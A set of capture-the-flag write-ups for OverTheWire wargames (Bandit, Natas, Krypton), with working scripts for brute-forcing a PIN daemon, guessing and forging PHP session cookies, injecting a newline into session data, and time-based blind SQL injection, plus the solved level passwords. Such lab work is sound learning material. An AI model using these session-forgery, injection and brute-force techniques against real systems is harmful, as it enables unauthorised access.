Security

These are a collection of security related problems that I am working on.

Bandit Level 24 → Level 25

Level Goal

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinaties, called brute-forcing.


Again, I created a folder inside /tmp and make sure both the newly created folder and all the file related to this level must have proper permission (chmod 755 would be enough).

#!/bin/bash
passwd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"

for a in {0..9}{0..9}{0..9}{0..9}
do
    echo $passwd' '$a | nc localhost 30002 >> result &
done

I choose to use netcat (nc) but telnet works just as well. The passcode a is being generated by 4 brace expansions. The >> append the output to the file result. The & put the command in background so it can start the next iteration. Doing so save me a lot of time waiting for this script to be done. To improve upon this, I need to find a way to terminate the loop when the correct answer is displayed. However, I didn’t know what the correct message would be at the beginning.

Using the same strategy to find an unique line from Level 8 → Level 9, we see the password for the next level is the unique line of result file.

$ sort result | uniq -u
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

Additional References:

Natas Level 20 → Level 21

As soon as you login to the level, you are greeted with a message saying that “You are logged in as a regular user. Login as an admin to retrieve credentials for natas21”. Looking at the sourcecode, we see a lots of stuffs.

<? 
function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas21\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; 
    } 
} 
/* }}} */ 

/* we don't need this */ 
function myopen($path, $name) {  
    //debug("MYOPEN $path $name");  
    return true;  
} 

/* we don't need this */ 
function myclose() {  
    //debug("MYCLOSE");  
    return true;  
} 

function myread($sid) {  
    debug("MYREAD $sid");  
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return ""; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    if(!file_exists($filename)) { 
        debug("Session file doesn't exist"); 
        return ""; 
    } 
    debug("Reading from ". $filename); 
    $data = file_get_contents($filename); 
    $_SESSION = array(); 
    foreach(explode("\n", $data) as $line) { 
        debug("Read [$line]"); 
    $parts = explode(" ", $line, 2); 
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; 
    } 
    return session_encode(); 
} 

function mywrite($sid, $data) {  
    // $data contains the serialized version of $_SESSION 
    // but our encoding is better 
    debug("MYWRITE $sid $data");  
    // make sure the sid is alnum only!! 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    $data = ""; 
    debug("Saving in ". $filename); 
    ksort($_SESSION); 
    foreach($_SESSION as $key => $value) { 
        debug("$key => $value"); 
        $data .= "$key $value\n"; 
    } 
    file_put_contents($filename, $data); 
    chmod($filename, 0600); 
} 

/* we don't need this */ 
function mydestroy($sid) { 
    //debug("MYDESTROY $sid");  
    return true;  
} 
/* we don't need this */ 
function mygarbage($t) {  
    //debug("MYGARBAGE $t");  
    return true;  
} 

session_set_save_handler( 
    "myopen",  
    "myclose",  
    "myread",  
    "mywrite",  
    "mydestroy",  
    "mygarbage"); 
session_start(); 

if(array_key_exists("name", $_REQUEST)) { 
    $_SESSION["name"] = $_REQUEST["name"]; 
    debug("Name set to " . $_REQUEST["name"]); 
} 

print_credentials(); 

$name = ""; 
if(array_key_exists("name", $_SESSION)) { 
    $name = $_SESSION["name"]; 
} 
?>

Let’s look at each function and see what it does:

  • debug($msg) just turn on debug. You can try it by adding “/index.php?debug” at the end of the url and hit enter to see the debug messages, $msg.
  • print_credentials()  will print natas21 username and password if the following conditionals are satisfied:
    • $_SESSION is true if there is an existing session. The array $_SESSION is not empty.
    • array_key_exists(“admin”, $_SESSION) is true if “admin” key is set in $_SESSION.
    • $_SESSION[“admin”] == 1 is true if the value associated with the key “admin” in $_SESSION is set to 1
  • myopen($path, $name) always return true.
  • myclose() always return true.
  • myread($sid) has several parts
    • The first if(strspn….) statement check if the $sid contains characters that is within the long string of characters. If it is not, return “Invalid SID”. Otherwise, continue.
    • Then, it check to see if the path exist for the file call /mysess_$sid. For example, if $sid is abcdefg, it is checking for the file mysess_abcdefg. If the file exist, continue.
    • Here, we see that the content of the file is save in $data and the foreach loop take each new line of $data and put it in $line. Then, it takes each space separated word in each $line and put them in an array call $parts. If the first part ($parts[0]) is not an empty string, then it will use the first part as the session key and the second part ($parts[1]) as the value corresponding to that key.
  • mywrite($sid, $data) also has several parts
    • The first if(strspn …) does the same check for valid $sid in myread()
    • The same $filename is created using the $sid.
    • The key is sorted in $_SESSION and the foreach loop take the pair of $key and corresponding $value and add it as a new line in $data. The $data is then write to the $filename.
  • mydestroy($sid) always return true.
  • mygarbage($t) always return true.
  • main interface does the following:
    • session_start().
    • check name is in the $_REQUEST, if so, set the $_SESSION[“name”] to $_REQUEST[“name”]. If we input “test” as a name, it will correspond “test” as the
    • print_credentials()
    • set $name to empty string and check if “name” is in the $_SESSION, if so, set the variable $name to $_SESSION[“name”]

So this seem to be a long explanation of the code but the most important part is the myread() and mywrite(). Especially in mywrite(), it is writing each $key and $value pair with a new line. We know from print_credentials(), we need a $key and $value pair of “admin” and 1 to get access to the next password. If we add a line “admin 1” in the file, the myread() function will read it out with no problem. So our input must be include “admin 1” on a newline. For example, if we put “test” and hit enter. We get a line like below in the file.

test

What we need is two lines like this.

test
admin 1

So by enter “test” plus newline plus “admin 1”, we should be able to get the password. We can code this in python as following:

#!/bin/python3
import requests

user = "natas20"
passwd = "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF" 
url = "http://"+user+".natas.labs.overthewire.org"
hack = dict(name="test\nadmin 1")

session = requests.Session()
session.post(url, auth=(user, passwd), data=hack)

httpreq = session.get(url, auth=(user, passwd))

print (httpreq.content)

From the printout of the contents, we found the next password.

IFekPyrQXftziDEsUr3x21sYuahypdgJ

We can also bypass using python and input this straight into the url as follow.

http://natas20.natas.labs.overthewire.org/index.php?debug&name=test%0Aadmin%201

Additional resources:

Natas Level 19 → Level 20

The page start with a message saying it is pretty much using the code from previous one except it is not sequential. Again, there is a username and a password field for you to login as admin and to retrieve credentials for natas20. No source code available. I entered a username: admin and password:password and intercepted the traffic using burp. Let see what the PHPSESSID looks like in the headers.

PHPSESSID=3534382d61646d696e; path=/; HttpOnly

That’s a lot of character for brute force. However, if you notice, the session id looks like hex. I quickly check what this is in ASCII.

548-admin

That seems a little too good to be true. Notice I use the user admin, so let modify our last script to enumerate 1 to 640 (hopefully $maxid is still the same), append that with “-admin”, convert the whole thing into hex string, set the PHPSESSID and see if we can get the next password.

#!/bin/python3
import requests
import binascii

def str2byte(s):
 return bytes(s, encoding='utf-8')

def byte2hex(b):
 return ''.join([hex(n)[2:].rjust(2,'0') for n in b])

def str2hex(s):
 return byte2hex(str2byte(s))

maxid = 641
user = "natas19"
passwd = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs" 
url = "http://"+user+".natas.labs.overthewire.org"
admin = '-admin'
match = "You are an admin. The credentials for the next level are:"

for i in range(maxid):
 c = dict(PHPSESSID=str2hex(str(i)+admin))
 h = requests.get(url, auth=(user, passwd), cookies=c)
 if match in str(h.content):
 print (h.content)
 break

We got the next password in the content again (id=501). With the id at such high number in the last level, I had a temptation to run the range reverse or use random generator to pick my id. However, in real life, unless you had a reason to suspect the id is not generated randomly, there is no penalty to start from the lowest number to highest number for the brute force attack because the average guess will be the same ($maxid/2).

eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

In the python code, I reuse codes from set 1 of the matasano crypto challenges. There are documentation on how to convert between binary and ASCII below.

Additional resources:

Natas Level 18 → Level 19

The page start with a username and a password field for you to login as admin and to retrieve credentials for natas19. From the source code, it is not as simple.

<? 
$maxid = 640; // 640 should be enough for everyone 

function isValidAdminLogin() { /* {{{ */ 
 if($_REQUEST["username"] == "admin") { 
 /* This method of authentication appears to be unsafe and has been disabled for now. */ 
 //return 1; 
 } 
 return 0; 
} 
/* }}} */ 
function isValidID($id) { /* {{{ */ 
 return is_numeric($id); 
} 
/* }}} */ 
function createID($user) { /* {{{ */ 
 global $maxid; 
 return rand(1, $maxid); 
} 
/* }}} */ 
function debug($msg) { /* {{{ */ 
 if(array_key_exists("debug", $_GET)) { 
 print "DEBUG: $msg<br>"; 
 } 
} 
/* }}} */ 
function my_session_start() { /* {{{ */ 
 if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { 
 if(!session_start()) { 
 debug("Session start failed"); 
 return false; 
 } else { 
 debug("Session start ok"); 
 if(!array_key_exists("admin", $_SESSION)) { 
 debug("Session was old: admin flag set"); 
 $_SESSION["admin"] = 0; // backwards compatible, secure 
 } 
 return true; 
 } 
 } 
 return false; 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
 if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
 print "You are an admin. The credentials for the next level are:<br>"; 
 print "<pre>Username: natas19\n"; 
 print "Password: <censored></pre>"; 
 } else { 
 print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; 
 } 
} 
/* }}} */ 
$showform = true; 
if(my_session_start()) { 
 print_credentials(); 
 $showform = false; 
} else { 
 if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
 session_id(createID($_REQUEST["username"])); 
 session_start(); 
 $_SESSION["admin"] = isValidAdminLogin(); 
 debug("New session started"); 
 $showform = false; 
 print_credentials(); 
 } 
} 
if($showform) { 
?>

Let’s look at the code to see what this is doing.

  • At the top, $maxid is set to 640 seems to indicated that there are only 640 id available.
  • Next, isValidAdminLogin() function will always return 0. The if statement does nothing.
  • IsValidID() is only checking if the $id is numeric.
  • createID() randomly pick a user id from 1 to 640 ($maxid)
  • debug() print debug message if “debug” key is set in $_GET
  • my_session_start() does several things here
    • It checks if PHPSESSID set in $_COOKIE, and the set value is numeric, if false on either condition, my_session_start() return false. PHPSESSID is a cookie to store unique session id string in user’s computer.
    • If true on above condition, it will then checks if session has failed to start (session_start() return false), if so, it prints a debug message and return false for my_session_start()
    • Otherwise if a session has successfully started (session_start() is true) and return true for my_session_start(). It also set the $_SESSION variable for key “admin” to 0 if the key “admin” is NOT in the $_SESSION variable array.
  • print_credentials will print the next password if $_SESSION has something in it and contain an “admin” key in $_SESSION with its variable set to 1. Otherwise, a regular user message is printed.
  • main function check
    • if my_session_start() is true then call print_credentials(). Which means a PHPSESSID exist in $_COOKIE and the value is numeric before calling print_credentials().
    • otherwise, if my_session_start() is false means either PHPSESSID is not in $_COOKIE or the value is not numeric or session_start() return false (session failed to start). It will check if the key “username” exist in $_REQUEST and “password” exist in $_REQUEST, if so, it will get a number between 1 and 640 and make that as the current session id, start a new session (session_start()), set the “admin” key in $_SESSION to 0 (invalid admin login), and finally call print_credentials.
So to get the next password, we must take the then path in main function with the “admin” key in $_SESSION set to 1. In order to do that, the “admin” key must already be in the $_SESSION. However, unless we are already in the “admin” session, we really can’t do anything to the “admin” value because any new session will set the “admin” in $_SESSION to 0.In another word, the only way to do this is to fake our session id so that it is the “admin” session id, and the value is set to 1 in $_SESSION for “admin”. From createID(), we see that session id is selected between 1 to 640. Since there are only 640 session id available due to the $maxid constraint when createID(), we can enumerate the session id by setting PHPSESSID in $_COOKIE to one of the value and check the return for the matching admin message in print_credentials().

Coding a for loop to do this automatically. Using python requests library make this task super easy.

#!/bin/python3
import requests
maxid = 641
url = "http://natas18.natas.labs.overthewire.org"
user = "natas18"
passwd = "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"
match = "You are an admin. The credentials for the next level are:"

for i in range(maxid):
    c = dict(PHPSESSID=str(i))
    h = requests.get(url, auth=(user, passwd), cookies=c)
    if match in str(h.content):
        print (h.content)
        break

Took us a while (id=585) but we got the next password in the content.

4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

This challenge forced me to read up on PHP session handling and some of the functions. I included some of the references that help understand the PHP code.

Additional resources:

Natas Level 17 → Level 18

The page contain a username for you to check if the user exist but after you enter anything, it return a blank page. Looking at the source code, we can see there is a very similar attack to use from our sql injection from Level 15 → 16 but comments out all responses.

<? 
/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 

if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas17', '<censored>'); 
    mysql_select_db('natas17', $link); 
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        //echo "This user exists.<br>"; 
    } else { 
        //echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        //echo "Error in query.<br>"; 
    } 
    mysql_close($link); 
} else { 
?>

Notice that beside the comments out echo, the code is exactly the same as Level 15 → 16. This mean we can still do sql injection but we need some other way to let us know our username/password guess is correct. Luckily, there is a query command call SLEEP that causes the process to sleep for a number of seconds. We try using this by guessing our next username natas18 with the following input.

natas18" and SLEEP(10); #
The blank page comes back unusually long indicate that natas18 is one of the username exist in the database. We verify it by putting anything else in place of natas18 and the blank page comes back immediately. This tells us that it is using short circuit evaluation for the “and” predicate. This time, let’s use REGEXP instead of LIKE to show the same attack. We can search a range instead of one character at a time using [a-z] for a to z. Manually doing a binary search of all characters gives us the first character of the next password.
natas18" AND password COLLATE latin1_general_cs REGEXP "^x" AND SLEEP(3); #
We are ready to modify our previous program to include a timing attack by detecting when the server response, we can tell which of our guess is correct. After playing with the code to include a time different check between each request and response time (> 2.0 sec), we got the next password.
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Using a binary search algorithm in our script and choosing a short enough sleep time really shorten the overall execution time by a lot.

Additional resources:

Krypton Level 2 → Level 3

Level Info

Substitution ciphers are a simple replacement algorithm. In this example of a substitution cipher, we will explore a ‘monoalphebetic’ cipher. Monoalphebetic means, literally, “one alphabet” and you will see why.

This level contains an old form of cipher called a ‘Caesar Cipher’. A Caesar cipher shifts the alphabet by a set number. For example:

plain:  a b c d e f g h i j k ... 
cipher: G H I J K L M N O P Q ...

In this example, the letter ‘a’ in plaintext is replaced by a ‘G’ in the ciphertext so, for example, the plaintext ‘bad’ becomes ‘HGJ’ in ciphertext.

The password for level 3 is in the file krypton3. It is in 5 letter group ciphertext. It is encrypted with a Caesar Cipher. Without any further information, this cipher text may be difficult to break. You do not have direct access to the key, however you do have access to a program that will encrypt anything you wish to give it using the key. If you think logically, this is completely easy.

One shot can solve it!

Have fun.


First, we need to find this ‘krypton3’ file using find again. As you can see, the pattern of the file, we’ll omit this from now on.

find / -type f -name krypton3 2</dev/null
/games/krypton/krypton2/krypton3

cat /games/krypton/krypton2/krypton3
OMQEMDUEQMEK

From the level info, we should use encrypt binary to find out how many characters shifted in the cipher. However, there is a permission issue, but we can copy encrypt to another directory if we have permission to write. One such area is /tmp. Create a directory (e.g. abc/) and copy encrypt into it.  Now when we execute encrypt with a file contain all the alphabet in order (let’s call this file alphabet), it will say it can’t find keyfile.dat. However, we can’t copy it because we don’t have read permission. We create a fake keyfile.dat by copying the alphabet file. Finally, execute encrypt with alpha will create another file call ciphertext in the same directory. The file contain the key

MNOPQRSTUVWXYZABCDEFGHIJKL

Put this as a key string in our script.

#!/bin/bash
cipher=$(</games/krypton/krypton2/krypton3)
alpha=ABCDEFGHIJKLMNOPQRSTUVWXYZ
key=MNOPQRSTUVWXYZABCDEFGHIJKL
echo $cipher | tr $key $alpha

Using this in our script to translate from the key to the alphabet with the ciphertext (krypton3) will return the original plaintext. The output give us the correct password for level 3.

CAESARISEASY

Additional Reference:

Krypton Level 1 → Level 2

Level Info

The password for level 2 is in the file ‘krypton2’. It is ‘encrypted’ using a simple rotation. It is also in non-standard ciphertext format. When using alpha characters for cipher text it is normal to group the letters into 5 letter clusters, regardless of word boundaries. This helps obfuscate any patterns. This file has kept the plain text word boundaries and carried them to the cipher text. Enjoy!


First, we need to find this ‘krypton2’ file. Using find, we see 1 files (-type f) with the same name (-name).

find / -type f -name krypton2 2</dev/null
/games/krypton/krypton1/krypton2

cat /games/krypton/krypton1/krypton2
YRIRY GJB CNFFJBEQ EBGGRA

Another clue is that this cipher is encrypted using a simple rotation. The most notable rotation cipher is rot13. So I wrote a simple bash script to implement rot13 to test a rotation cipher and intended to use it to check all rotation possibility. Little did I know that rot13 is the correct answer.

#!/bin/bash

cipher=$(</games/krypton/krypton1/krypton2)
alpha=ABCDEFGHIJKLMNOPQRSTUVWXYZ
echo $alpha
echo $cipher

fst=${alpha:0:13}
snd=${alpha:13}
rot=$snd$fst

echo $rot
echo $cipher | tr $alpha $rot

The output give us the correct password for level two.

LEVEL TWO PASSWORD ROTTEN

Additional Reference: